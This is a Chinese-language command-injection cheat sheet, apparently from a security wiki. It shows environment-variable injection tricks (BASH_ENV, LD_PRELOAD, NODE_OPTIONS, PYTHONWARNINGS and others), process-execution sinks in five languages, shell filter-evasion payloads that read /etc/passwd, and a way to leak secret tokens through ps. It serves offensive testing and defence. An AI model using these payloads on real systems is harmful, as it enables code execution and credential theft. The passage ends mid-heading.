# 命令注入

## 环境变量

### BASH\_ENV

您可以使用 `BASH_ENV` 与 bash 来实现命令注入：

```bash
$ BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x06-bash_env)

### BASH\_FUNC\_\*%%

您可以使用 `BASH_FUNC_*%%` 根据环境变量的值初始化匿名函数并为其命名。以下示例将 `myfunc` 函数添加到 bash 上下文中：

```bash
$ env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
uid=0(root) gid=0(root) groups=0(root)
```

此外，您可以覆盖现有函数：

```bash
$ env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x08)

### ENV

当您强制 [dash](https://linux.die.net/man/1/dash) 以交互方式运行时，dash 将查找 `ENV` 环境变量并将其传递给 `read_profile` 函数：

```c
if ((shinit = lookupvar("ENV")) != NULL && *shinit != '\0') {
    read_profile(shinit);
}
```

`read_profile` 将打印 `ENV` 内容：

```bash
$ ENV='$(id 1>&2)' dash -i -c 'echo hello'
uid=0(root) gid=0(root) groups=0(root)
hello
```

您可以使用 `sh` 获得相同的结果：

```bash
$ ENV='$(id 1>&2)' sh -i -c "echo hello"
uid=0(root) gid=0(root) groups=0(root)
hello
```

参考：

* [研究：如何使用环境变量注入执行任意命令](https://tttang.com/archive/1450/#toc_0x03-dash)

### GIT\_\*

以下 `GIT_*` 参数可用于滥用 git 目录：

* [GIT\_DIR](https://git-scm.com/book/en/v2/Git-Internals-Environment-Variables) 是 `.git` 文件夹的位置
* [GIT\_PROXY\_COMMAND](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coregitProxy) 用于覆盖 `core.gitProxy`
* [GIT\_SSH\_COMMAND](https://git-scm.com/docs/git-config#Documentation/git-config.txt-coresshCommand) 用于覆盖 `core.sshCommand`
* [GIT\_EXTERNAL\_DIFF](https://git-scm.com/docs/git-config#Documentation/git-config.txt-diffexternal) 用于覆盖 `diff.external`
* [GIT\_CONFIG\*](https://git-scm.com/docs/git-config#Documentation/git-config.txt-GITCONFIGCOUNT)。现代版本的 Git 支持通过 `GIT_CONFIG*` 环境变量设置任何配置值

### LD\_PRELOAD

`LD_PRELOAD` 是一个可选的环境变量，包含一个或多个共享库或共享对象的路径，加载程序将在任何其他共享库（包括 C 运行时库 `libc.so`）之前加载它们。

在 Linux C 中，函数可以在函数定义中使用属性进行声明。这是通过将所需的属性添加到函数定义中来完成的。有两个感兴趣的属性，[constructor 和 destructor](https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html)。具有 `constructor` 属性的函数将在程序执行 `main()` 之前运行。对于共享对象，这将发生在加载时。使用 `destructor` 属性声明的函数应该在 `main()` 返回或调用 `exit()` 时运行一次。

{% hint style="info" %}
LD\_PRELOAD 可用于覆盖标准的 libc 调用，查看 [为了乐趣和利润滥用 LD\_PRELOAD](https://www.sweharris.org/post/2017-03-05-ld-preload/)
{% endhint %}

换句话说，您可以编译一个共享库在加载时和/或返回之前调用：

1.  重用以下代码来编译共享库：

    // C code for LD\_PRELOAD injection example // This is a generic LD\_PRELOAD example that can be used for testing
2.  使用以下命令编译共享库：

    ```bash
    $ gcc -Wall -O3 -fPIC -shared inject.c -o inject.so
    ```
3.  利用：

    ```bash
    $ LD_PRELOAD=./inject.so git -v

    [+] Inject.so Loaded!
    [*] PID: 1337
    [*] Process: /usr/bin/git

    Unknown option: -v
    usage: git [--version] [--help] [-C <path>] [-c name=value]
            [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
            [-p | --paginate | --no-pager] [--no-replace-objects] [--bare]
            [--git-dir=<path>] [--work-tree=<path>] [--namespace=<name>]
            <command> [<args>]

    [-] Inject.so is being unloaded!
    ```

    ```bash
    $ LD_PRELOAD=./inject.so id

    [+] Inject.so Loaded!
    [*] PID: 1337
    [*] Process: /usr/bin/id

    uid=0(root) gid=0(root) groups=0(root)
    ```

    ```bash
    $ LD_PRELOAD=./inject.so bash -c "echo 'hello'"

    [+] Inject.so Loaded!
    [*] PID: 1337
    [*] Process: /bin/bash

    hello

    [-] Inject.so is being unloaded!
    ```

参考：

* [LD\_PRELOAD：如何在加载时运行代码](https://www.secureideas.com/blog/2021/02/ld_preload-how-to-run-code-at-load-time.html)
* [elttam 博客：远程 LD\_PRELOAD 利用](https://www.elttam.com/blog/goahead/)

### PERL5OPT

[PERL5OPT](https://perldoc.perl.org/perlrun#PERL5OPT) 指定命令行选项，但仅限于接受选项 `CDIMTUWdmtw`。

`PERL5OPT=-M` 可用于加载 Perl 模块并在模块名称后添加额外代码：

```bash
PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`)' perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### PERL5DB

[PERL5DB](https://perldoc.perl.org/perlrun#PERL5DB) 指定用于加载调试器代码的命令。`PERL5DB` 仅在 Perl 以裸 `-d` 开关启动时使用。

```bash
PERL5OPT=-d PERL5DB='system("ls -la");' perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### PERLLIB 和 PERL5LIB

[PERLLIB](https://perldoc.perl.org/perlrun#PERLLIB) 和 [PERL5LIB](https://perldoc.perl.org/perlrun#PERL5LIB) 设置在标准库中查找 Perl 库文件的目录列表。如果定义了 `PERL5LIB`，则不使用 `PERLLIB`。

如果有办法将恶意的 Perl 模块写入文件系统，`PERLLIB` 和 `PERL5LIB` 可用于执行任意命令：

```bash
$ cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;

system("cmdname arg1 arg2");
EOF
$ PERLLIB=/tmp PERL5OPT=-Mroot perl /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)
* [CVE-2016-1531 利用](https://github.com/HackerFantastic/exploits/blob/979c345959349cb829e473faae9fe040b7290876/cve-2016-1531.sh)

### PYTHONWARNINGS

[PYTHONWARNINGS](https://docs.python.org/3/using/cmdline.html#envvar-PYTHONWARNINGS) 等同于指定用于警告控制的 [-W](https://docs.python.org/3/using/cmdline.html#cmdoption-W) 选项。参数的完整形式是 `action:message:category:module:line`。

如果指定的类别包含点，警告控制会触发任意 Python 模块的导入：

```python
# /Lib/warnings.py
# ...
def _getcategory(category):
    if not category:
        return Warning
    if '.' not in category:
        import builtins as m
        klass = category
    else:
        module, _, klass = category.rpartition('.')
        try:
            m = __import__(module, None, None, [klass])
        except ImportError:
            raise _OptionError("invalid module name: %r" % (module,)) from None
# ...
```

如果有办法将恶意的 Python 模块写入文件系统，`PYTHONWARNINGS` 可用于执行任意命令：

```bash
$ cat > /tmp/exec.py << EOF
import os
os.system("cmdname arg1 arg2")
EOF
$ PYTHONPATH="/tmp" PYTHONWARNINGS=all:0:exec.x:0:0 python3 python /dev/null
```

但是，您可以使用 Python 标准库中的 `antigravity` 模块来运行任意命令。运行 `import antigravity` 将立即打开浏览器到 `xkcd` 漫画，该漫画开玩笑说在 Python 中 `import antigravity` 会赋予您飞行的能力。`antigravity` 使用标准库中称为 `webbrowser` 的另一个模块来打开浏览器。此模块检查 `PATH` 以查找各种浏览器，包括 `mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks and lynx`。它还接受一个环境变量 `BROWSER`，可用于指定应执行哪个进程。无法在环境变量中为进程提供参数，`xkcd` 漫画 URL 是命令的硬编码参数：

```bash
$ <BROWSER> https://xkcd.com/353/
```

执行任意命令的一种方法是利用 Perl，它通常安装在系统上，甚至在标准的 Python docker 镜像中也可用。但是，`perl` 二进制文件本身不能使用。这是因为第一个也是唯一的参数是 `xkcd` 漫画 URL。漫画 URL 参数将导致错误并使进程退出，而不使用 `PERL5OPT` 环境变量。

幸运的是，当 Perl 可用时，通常也有默认的 Perl 脚本可用，例如 `perldoc` 和 `perlthanks`。这些脚本也会错误并以无效参数退出，但这种情况下的错误发生在 `PERL5OPT` 环境变量处理之后。这意味着可以利用 Perl 环境变量来执行命令。

```bash
$ PYTHONWARNINGS=all:0:antigravity.x:0:0 BROWSER=perlthanks PERL5OPT='-Mbase;print(`{cmdname,arg1,arg2}`);' python3 python /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

### NODE\_OPTIONS

[NODE\_OPTIONS](https://nodejs.org/api/cli.html#node_optionsoptions) 指定以空格分隔的命令行选项列表。

如果有办法将恶意的 Node.js 模块写入文件系统，`NODE_OPTIONS` 可用于执行任意命令：

```bash
$ cat > /tmp/exec << EOF
console.log(require("child_process").execSync("id").toString());
EOF
$ NODE_OPTIONS='--require /tmp/exec' node node /dev/null
```

如果没有办法将模块写入文件系统，您可以使用 proc 文件系统，特别是 `/proc/self/environ`，来传递 payload。

```bash
$ AAAA='console.log(require("child_process").execSync("id").toString());//' NODE_OPTIONS'=--require /proc/self/environ' node node /dev/null
```

但是，有两个约束条件：

1. 使用 `/proc/self/environ` 只有在内容在语法上有效 JavaScript 时才可能。为此，您需要能够创建环境变量并使其首先出现在 `/proc/self/environ` 的内容中。
2. 由于第一个环境变量的值以单行注释 `//` 结尾，其他环境变量中的任何换行符都将导致语法错误。使用多行注释 `/*` 不会解决问题，因为它们必须关闭才能在语法上有效。在这种情况下，需要覆盖包含换行符的变量的值。

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)
* [利用原型污染 – Kibana 中的 RCE (CVE-2019-7609)](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)

### RUBYOPT

`RUBYOPT` 指定命令行选项。

如果有办法将恶意的 Ruby 库写入文件系统，`RUBYOPT` 可用于执行任意命令。`-r` 选项使 Ruby 使用 require 加载库，但这仅限于扩展名为 `.rb` 或 `.so` 的文件：

```bash
$ cat > /tmp/exec.rb << EOF
puts `cmdname arg1 arg2`
EOF
$ RUBYOPT=-r/tmp/exec.rb ruby /dev/null
```

参考：

* [elttam 博客：使用环境变量进行黑客攻击 提供给脚本语言解释器的有趣环境变量](https://www.elttam.com/blog/env/)

## 编程语言

### Go

```golang
// https://pkg.go.dev/os#StartProcess
// os.StartProcess
var procAttr = os.ProcAttr
os.StartProcess(
    "cmdname",
    []string{"arg1", "arg2"},
    &procAttr,
)

// https://pkg.go.dev/os/exec#Command
// os/exec.Command
exec.Command("cmdname", "arg1", "arg2").Run()

// 命令行执行
cmd := exec.Command("bash", "-c", "cmdname arg1 arg2")
out, err := cmd.Output()

// https://pkg.go.dev/os/exec#CommandContext
// os/exec.CommandContext
exec.CommandContext(ctx, "cmdname", "arg1", "arg2").Run()

// https://pkg.go.dev/os/exec#Cmd
// os/exec.Cmd
cmd := &exec.Cmd {
    Path: "cmdname",
    Args: []string{ "arg1", "arg2" },
}
cmd.Run();

// https://pkg.go.dev/syscall#Exec
// syscall.Exec
syscall.Exec(
    "cmdname",
    []string{ "arg1", "arg2" },
    os.Environ(),
)

// https://pkg.go.dev/syscall#ForkExec
// syscall.ForkExec (仅限 unix)
var procAttr = os.ProcAttr
syscall.ForkExec(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall#StartProcess
// syscall.StartProcess
var procAttr = os.ProcAttr
syscall.StartProcess(
    "cmdname",
    []string{ "arg1", "arg2" },
    &procAttr,
)

// https://pkg.go.dev/syscall?GOOS=windows#CreateProcess
// https://pkg.go.dev/syscall?GOOS=windows#CreateProcessAsUser
// syscall.CreateProcess 和 syscall.CreateProcessAsUser (仅限 windows)
var sI syscall.StartupInfo
var pI syscall.ProcessInformation
cmdline := syscall.UTF16PtrFromString("cmdname arg1 arg2")
syscall.CreateProcess(nil, cmdline, nil, nil, true, 0, nil, nil, &sI, &pI)
```

### Java

```java
// https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html
// java.lang.Runtime.exec
Runtime.getRuntime().exec("cmdname arg1 arg2");
Runtime.getRuntime().exec(new String[] {"cmdname", "arg1", "arg2"})
// 或完整路径
java.lang.Runtime.getRuntime().exec("cmdname arg1 arg2");

// https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html
// java.lang.ProcessBuilder
new ProcessBuilder("cmdname", "arg1", "arg2").start();
new ProcessBuilder(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或使用命令
ProcessBuilder pb = new ProcessBuilder();
pb.command("cmdname", "arg1", "arg2").start();
pb.command(new String[]{"cmdname", "arg1", "arg2"}).start();
// 或完整路径
new java.lang.ProcessBuilder("cmdname", "arg1", "arg2").start();

// https://commons.apache.org/proper/commons-exec/apidocs/org/apache/commons/exec/Executor.html
// org.apache.commons.exec.Executor
Executor exec = new DefaultExecutor();
exec.execute(new CommandLine("cmdname arg1 arg2"););

// javax.script.ScriptEngine eval
new ScriptEngineManager()
    .getEngineByExtension("js")
    .eval("js code here");

// java.lang.Runtime loadLibrary
Runtime.getRuntime().loadLibrary("library path here");
java.lang.Runtime.getRuntime().loadLibrary("library path here");

// https://docs.groovy-lang.org/latest/html/api/groovy/lang/GroovyShell.html
// groovy.lang.GroovyShell
GroovyShell shell = new GroovyShell();
shell.evaluate(...);
shell.parse(...);
shell.parseClass(...);
```

### Node.js

```javascript
// child_process 或 mz/child_process

// https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback
// child_process.exec
const { exec } = require('child_process');
exec('cmdname arg1 arg2');
exec('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
// child_process.execSync
const { execSync } = require('child_process');
execSync('cmdname arg1 arg2');
execSync('...', { 'shell': '/path/to/controlled/executable/file' });

// https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback
// child_process.execFile
const { execFile } = require('child_process');
execFile('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options
// child_process.execFileSync
const { execFileSync } = require('child_process');
execFileSync('cmdname', ['arg1', 'arg2'], (error, stdout, stderr) => { /* ... */ });

// https://nodejs.org/api/child_process.html#child_processspawncommand-args-options
// child_process.spawn
const { spawn } = require('child_process');
spawn('cmdname', ['arg1', 'arg2']);
spawn('cmdname arg1 arg2', { shell: true });

// https://nodejs.org/api/child_process.html#child_processspawnsynccommand-args-options
// child_process.spawnSync
const { spawnSync } = require('child_process');
spawnSync('cmdname', ['arg1', 'arg2']);
spawnSync('cmdname arg1 arg2', { shell: true });

// https://www.npmjs.com/package/shelljs
// shelljs.exec
var shell = require('shelljs');
shell.exec('cmdname arg1 arg2');

// https://www.npmjs.com/package/cross-spawn
// cross-spawn.spawn
const spawn = require('cross-spawn');
spawn('cmdname', ['arg1', 'arg2']);
spawn.sync('cmdname', ['arg1', 'arg2']);

// https://www.npmjs.com/package/execa
// execa

// https://github.com/sindresorhus/execa#execafile-arguments-options
// execa.execa
import { execa } from 'execa';
execa.execa('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#execasyncfile-arguments-options
// execa.execaSync
import { execaSync } from 'execa';
execa.execaSync('cmdname', ['arg1', 'arg2']);

// https://github.com/sindresorhus/execa#command
// execa.$`command`
import { $ } from 'execa';
$`cmdname arg1 arg2`;

// https://github.com/sindresorhus/execa#synccommand
// execa.$.sync`command`
import { $ } from 'execa';
$.sync`cmdname arg1 arg2`

// https://github.com/sindresorhus/execa#execacommandcommand-options
// execa.execaCommand
execa.execaCommand('cmdname arg1 arg2')

// https://github.com/sindresorhus/execa#execacommandsynccommand-options
// execa.execaCommandSync
execa.execaCommandSync('cmdname arg1 arg2')
```

### Python

```python
# https://docs.python.org/3/library/os.html#os.system
# os.system
os.system("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.popen
# os.popen
os.popen("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/os.html#os.popen2
# 已弃用，在 Python <= 2.7 中可用
# os.popen2, os.popen3, os.popen4
os.popen2("cmdname arg1 arg2")

# https://docs.python.org/3/library/os.html#os.spawnl
# os.spawn*
os.spawnl(mode, "path", "arg1", "arg2")
os.spawnle(mode, "path", "arg1", "arg2", os.environ)
os.spawnlp(mode, "file", "arg1", "arg2")
os.spawnlpe(mode, "file", "arg1", "arg2", os.environ)
os.spawnv(mode, "path", ["arg1", "arg2"])
os.spawnve(mode, "path", ["arg1", "arg2"], os.environ)
os.spawnvp(mode, "file", ["arg1", "arg2"])
os.spawnvpe(mode, "file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.execl
# os.exec*
os.execl("path", "arg1", "arg2")
os.execle("path", "arg1", "arg2", os.environ)
os.execlp("file", "arg1", "arg2")
os.execlpe("file", "arg1", "arg2", os.environ)
os.execv("path", ["arg1", "arg2"])
os.execve("path", ["arg1", "arg2"], os.environ)
os.execvp("file", ["arg1", "arg2"])
os.execvpe("file", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawn
# os.posix_spawn
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/os.html#os.posix_spawnp
# os.posix_spawnp
os.posix_spawn("path", ["arg1", "arg2"], os.environ)

# https://docs.python.org/3/library/subprocess.html#subprocess.call
# subprocess.call
subprocess.call("cmdname arg1 arg2", shell=True)
subprocess.call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.run
# subprocess.run
subprocess.run("cmdname arg1 arg2", shell=True)
subprocess.run(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.Popen
# subprocess.Popen
subprocess.Popen("cmdname arg1 arg2", shell=True)
subprocess.Popen(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_call
# subprocess.check_call
subprocess.check_call("cmdname arg1 arg2", shell=True)
subprocess.check_call(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.check_output
# subprocess.check_output
subprocess.check_output("cmdname arg1 arg2", shell=True)
subprocess.check_output(["cmdname", "arg1", "arg2"])

# https://docs.python.org/3/library/subprocess.html#subprocess.getoutput
# subprocess.getoutput
subprocess.getoutput("cmdname arg1 arg2")

# https://docs.python.org/3/library/subprocess.html#subprocess.getstatusoutput
# subprocess.getstatusoutput
subprocess.getstatusoutput("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/popen2.html#module-popen2
# 已弃用，在 Python <= 2.7 中可用
# popen2.popen2, popen2.popen3, popen2.popen4, popen2.Popen3, popen2.Popen4
popen2.popen2("cmdname arg1 arg2")
popen2.Popen3("cmdname arg1 arg2")

# https://docs.python.org/2.7/library/platform.html#platform.popen
# 已弃用，在 Python <= 2.7 中可用
platform.popen("cmdname arg1 arg2")
```

### Ruby

```ruby
# 反引号
`cmdname arg1 arg2`

# %x 命令
%x cmdname ;
# %x<CHAR>命令<CHAR>
%x(cmdname arg1 arg2)
%x[cmdname arg1 arg2]
%x|cmdname arg1 arg2|
%x{cmdname arg1 arg2}
%x/cmdname arg1 arg2/
%x"cmdname arg1 arg2"
# ...

# shell heredoc
<<`EOF`
cmdname arg1 arg2
EOF

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-exec
# Kernel.exec
exec("cmdname arg1 arg2")
exec(["cmdname", "argv0"], "arg1", "arg2")
exec("cmdname", "arg1", "arg2")
# 或
Kernel.exec("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-system
# Kernel.system
system("cmdname arg1 arg2")
system(["cmdname", "argv0"], "arg1", "arg2")
system("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-spawn
# Kernel.spawn
spawn("cmdname arg1 arg2")
spawn(["cmdname", "argv0"], "arg1", "arg2")
spawn("cmdname", "arg1", "arg2")
# 或
Kernel.system("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Kernel.html#method-i-open
# Kernel.open
open("| cmdname arg1 arg2")
# 或
Kernel.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-spawn
# Process.spawn
Process.spawn("cmdname arg1 arg2")
Process.spawn(["cmdname", "argv0"], "arg1", "arg2")
Process.spawn("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/Process.html#method-c-exec
# Process.exec
Process.exec("cmdname arg1 arg2")
Process.exec(["cmdname", "argv0"], "arg1", "arg2")
Process.exec("cmdname", "arg1", "arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-popen
# IO.popen
IO.popen("cmdname arg1 arg2")
IO.popen(["cmdname", "arg1", "arg2"])
IO.popen([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/IO.html#method-c-read
# IO.read
IO.read("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-write
# IO.write
IO.write("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binread
# IO.binread
IO.binread("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-binwrite
# IO.binwrite
IO.binwrite("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-foreach
# IO.foreach
IO.foreach("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/IO.html#method-c-readlines
# IO.readlines
IO.readlines("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2
# Open3.capture2
Open3.capture2("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture2e
# Open3.capture2e
Open3.capture2e("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-capture3
# Open3.capture3
Open3.capture3("cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2
# Open3.popen2
Open3.popen2("cmdname arg1 arg2")
Open3.popen2(["cmdname", "arg1", "arg2"])
Open3.popen2([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen2e
# Open3.popen2e
Open3.popen2e("cmdname arg1 arg2")
Open3.popen2e(["cmdname", "arg1", "arg2"])
Open3.popen2e([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-popen3
# Open3.popen3
Open3.popen3("cmdname arg1 arg2")
Open3.popen3(["cmdname", "arg1", "arg2"])
Open3.popen3([["cmdname", "argv0"], "arg1", "arg2"])

# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_r
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_rw
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_start
# https://ruby-doc.org/3.2.1/stdlibs/open3/Open3.html#method-c-pipeline_w
# Open3.pipeline(_r/_w/_rw/_start)
Open3.pipeline("cmdname arg1 arg2", "cmdname arg1 arg2")
Open3.pipeline(["cmdname", "arg1", "arg2"], "cmdname arg1 arg2")
Open3.pipeline([["cmdname", "argv0"], "arg1", "arg2"], "cmdname arg1 arg2")

# https://ruby-doc.org/stdlib-2.5.1/libdoc/open-uri/rdoc/OpenURI.html
# URI.open
# 参考：https://sakurity.com/blog/2015/02/28/openuri.html
require "open-uri"
URI.open("| cmdname arg1 arg2")

# https://ruby-doc.org/3.2.1/Object.html#method-i-send
# https://ruby-doc.org/3.2.1/Object.html#method-i-public_send
# 参考：https://bishopfox.com/blog/ruby-vulnerabilities-exploits
# Object.send, Object.public_send
1.send("eval", "`cmdname arg1 arg2`")
"".send("eval", "`cmdname arg1 arg2`")
o.send("method", "args")
```

## Linux 文件

### /etc/environment

[/etc/environment](https://man7.org/linux/man-pages/man7/environ.7.html) 包含指定新 shell 基本环境变量的环境变量。但是，它可以被其他程序使用。Linux 任务调度程序（cron）中的每个执行作业都导入此文件，如果存在由用户（例如 root）执行的作业，您可以滥用 `/etc/environment` 代表该用户执行任意代码。例如，您可以使用 [LD\_PRELOAD](#ld_preload) 来获得代码执行。

参考：

* [FabricScape：逃离 Service Fabric 并接管集群](https://unit42.paloaltonetworks.com/fabricscape-cve-2022-30137/)

## 技巧

### 花括号扩展

花括号扩展是一种生成任意字符串的机制。要花括号扩展的模式采用可选序言的形式，后跟一系列逗号分隔的字符串或一对花括号之间的序列表达式，后跟可选的后记。序言前缀到包含在花括号内的每个字符串，然后后记附加到每个结果字符串，从左到右扩展。例如：

```bash
$ echo a{d,c,b}e
ade ace abe
```

您可以使用花括号扩展来创建 payload：

```bash
$ {cat,/etc/passwd}
```

参考：

* [Bash 参考手册：3.5.1 花括号扩展](https://www.gnu.org/software/bash/manual/bash.html#Brace-Expansion)

### 命令替换

命令替换允许命令的输出替换命令本身。当命令按如下方式包含时，会发生命令替换：

```bash
$(command)
`command`
```

Bash 通过在子 shell 环境中执行命令并用命令的标准输出替换命令替换来执行扩展。

参考：

* [Bash 参考手册：3.5.4 命令替换](https://www.gnu.org/software/bash/manual/bash.html#Command-Substitution)

### 字符编码

有几种处理编码字符串的方法：

1.  `$'string'` 单词：

    形式为 `$'string'` 的单词被特殊处理。该单词扩展为字符串，反斜杠转义字符按照 ANSI C 标准指定的方式替换。

    ```bash
    $ a=$'\x74\x65\x73\x74'; echo $a
    $ a=$'\164\145\163\164'; echo $a
    $ a=$'\u0074\u0065\u0073\u0074'; echo $a
    $ a=$'\U00000074\U00000065\U00000073\U00000074'; echo $a
    ```
2.  `echo` 命令：

    `echo` 提供 `-e` 选项来解释反斜杠转义。注意识别的序列取决于 `echo` 的版本，以及 `-e` 选项可能根本不存在。

    ```bash
    echo -e "\x74\x65\x73\x74"
    echo -e "\0164\0145\0163\0164"
    ```
3.  `xxd` 命令：

    ```bash
    $ xxd -r -p <<< 74657374
    $ xxd -r -ps <(echo 74657374)
    ```

参考：

* [Bash 参考手册：3.1.2.4 ANSI-C 引用](https://www.gnu.org/software/bash/manual/bash.html#ANSI_002dC-Quoting)
* [echo 手册页](https://linux.die.net/man/1/echo)
* [xxd 手册页](https://linux.die.net/man/1/xxd)

### 泄露命令行参数

如果您在 cli 命令中有参数注入，该命令已传递敏感参数，如令牌或密码，您可以尝试使用 `ps x -w` 泄露传递的秘密。

```bash
# 您可以向 <injection here> 部分注入任意参数
$ command --user username --token SECRET_TOKEN <injection here>
# 使用 & 将易受攻击的命令发送到后台
# 并使用 ps x -w 捕获参数
$ command --user username --token SECRET_TOKEN & ps x -w

    PID TTY      STAT   TIME COMMAND
   1337 ?        S      0:00 /usr/bin/command --user username --token SECRET_TOKEN
   1574 ?        R      0:00 ps x -w
```

如果 cli 日志隐藏敏感设置或敏感数据未存储在环境中，这可能会很有用。

如果 cli 日志隐藏敏感数据或敏感数据未存储在环境中（例如，GitHub Actions 提供变量插值 `${{...}}` 用于注入秘密，并且您无法在执行期间访问秘密），这可能会很有用。另一种情况是当您有盲注时，可以将 `ps x -w` 的输出重定向到您有权访问的文件。

### 命令列表

使用运算符 `;`、`&`、`&&` 或 `||` 组合多个命令的执行，并可选择由 `;`、`&` 或 `\n` 之一终止。

```bash
$ command1; command2
$ command1 & command2
$ command1 && command2
$ command1 || command2 # 仅当 command1 失败时
$ command1\ncommand2
```

此外，您可以使用管道用于相同的目的：

```bash
$ command1 | command2 
$ command1 |& command2 
```

参考：

* [Bash 参考手册：3.2.3 管道](https://www.gnu.org/software/bash/manual/bash.html#Pipelines)
* [Bash 参考手册：3.2.4 命令列表](https://www.gnu.org/software/bash/manual/bash.html#Lists)

### 使用 tr 产生斜杠

```bash
$ echo . | tr '!-0' '"-1'
$ tr '!-0' '"-1' <<< .
$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

### 重定向

在命令执行之前使用运算符 `>`、`>|`、`>>`、`<` 等重定向输入和输出。

```bash
$ ls > dirlist 2>&1
$ cat</etc/passwd
```

使用运算符 `<<<` 提供附加换行符的单个字符串。

```bash
$ base64 -d <<< dGVzdA==
```

参考：

* [Bash 参考手册：3.6 重定向](https://www.gnu.org/software/bash/manual/bash.html#Redirections)

### Shell 参数扩展

参数扩展的基本形式是 `${parameter}`；参数的值被替换：

```bash
$ a="es"; echo "t${a}t"
```

更复杂的参数扩展形式允许您执行各种操作。例如，您可以提取子字符串并使用它们来创建 payload：

```bash
$ echo ${HOME:0:1}
$ cat ${HOME:0:1}etc${HOME:0:1}passwd
```

此外，匹配和替换在使用黑名单时可能很有用：

```bash
$ a=/eAAA/Atc/paAAA/Asswd; echo ${a//AAA\/A/}
```

参考：

* [Bash 参考手册：3.5.3 Shell 参数扩展](https://www.gnu.org/software/bash/manual/bash.html#Shell-Parameter-Expansion)
* [Bash 脚本速查表：参数扩展](https://devhints.io/bash#parameter-expansions)

### 特殊 Shell 参数

有几个参数 Shell 会特殊处理。其中一些参数您可用于创建 payload：

```bash
$ i$@d
# $0 扩展为 shell 或 shell 脚本的名称
$ bash -c 'echo id|$0'
```

参考：

* [Bash 参考手册：3.4.2 特殊参数](https://www.gnu.org/software/bash/manual/bash.html#Special-Parameters)

### Shell 变量

